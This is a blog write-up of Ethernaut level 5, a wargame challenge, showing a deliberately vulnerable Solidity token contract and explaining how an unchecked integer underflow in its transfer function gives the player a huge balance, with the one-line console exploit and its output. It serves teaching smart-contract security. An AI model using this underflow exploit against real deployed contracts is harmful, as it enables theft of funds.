DEV Community

Cover image for Ethernaut Hacks Level 5: Token
Naveen ⚡
Naveen ⚡

Posted on • Edited on

5 3

Ethernaut Hacks Level 5: Token

This is the level 5 of Ethernaut game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
Enter fullscreen mode Exit fullscreen mode

player is initially assigned 20 tokens i.e. balances[player] = 20 and has to somehow get any additional tokens (so that balances[player] > 20 ).

The transfer method of Token performs some unchecked arithmetic operations on uint256 (uint is shorthand for uint256 in solidity) integers. That is prone to underflow.

The max value of a 256 bit unsigned integer can represent is 2^256 − 1, which is -

115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935
Enter fullscreen mode Exit fullscreen mode

Hence uint256 can only comprise values from 0 to 2^256 - 1 only. Any addition/subtraction would cause overflow/underflow. For example:

Let M = 2^256 - 1 (max value of uint256)

0 - 1 = M

M + 1 = 0

20 - 21 = M

(All numbers are 256-bit unsigned integers)
Enter fullscreen mode Exit fullscreen mode

We're going to use last expression from example above to exploit the contract.

Let's call transfer with a zero address (or any address other than player) as _to and 21 as _value to transfer.

await contract.transfer('0x0000000000000000000000000000000000000000', 21)
Enter fullscreen mode Exit fullscreen mode

Here's how arithmetics of function would go:

The require check below would evaluate to true.

require(balances[msg.sender] - _value >= 0);
Enter fullscreen mode Exit fullscreen mode

Because balances[msg.sender] = 20 and _value = 21, hence

balances[msg.sender] - _value = 2^256 - 1 >= 0
Enter fullscreen mode Exit fullscreen mode

due to underflow.

Next statement deducts _value amount from player address. At this point balances[msg.sender] = 20 and _value = 21. Again an underflow:

balances[msg.sender] -= _value;
Enter fullscreen mode Exit fullscreen mode

is same as

balances[msg.sender] = balances[msg.sender] - _value;
Enter fullscreen mode Exit fullscreen mode

And so,

balances[msg.sender] = 20 - 21 = 2^256 - 1
Enter fullscreen mode Exit fullscreen mode

Whoa! now the player (or msg.sender) has balances[msg.sender] = 2^256 - 1 number of tokens!!!

Last statement just sets balance of a zero address to _value i.e. 21, which we couldn't care less about.

And that's it! player has acquired humongous no. of tokens, even way way way more than totalSupply. Verify by:

await contract.balanceOf(player).then(v => v.toString())
// Output: '115792089237316195423570985008687907853269984665640564039457584007913129639935'
Enter fullscreen mode Exit fullscreen mode

A nice thing to note is that it worked because contract's compiler version is v0.6.0. This, most probably, won't work for latest version (v0.8.0 as of writing) because underflow/overflow causes failing assertion by default in latest version.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

AWS GenAI LIVE image

How is generative AI increasing efficiency?

Join AWS GenAI LIVE! to find out how gen AI is reshaping productivity, streamlining processes, and driving innovation.

Learn more

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs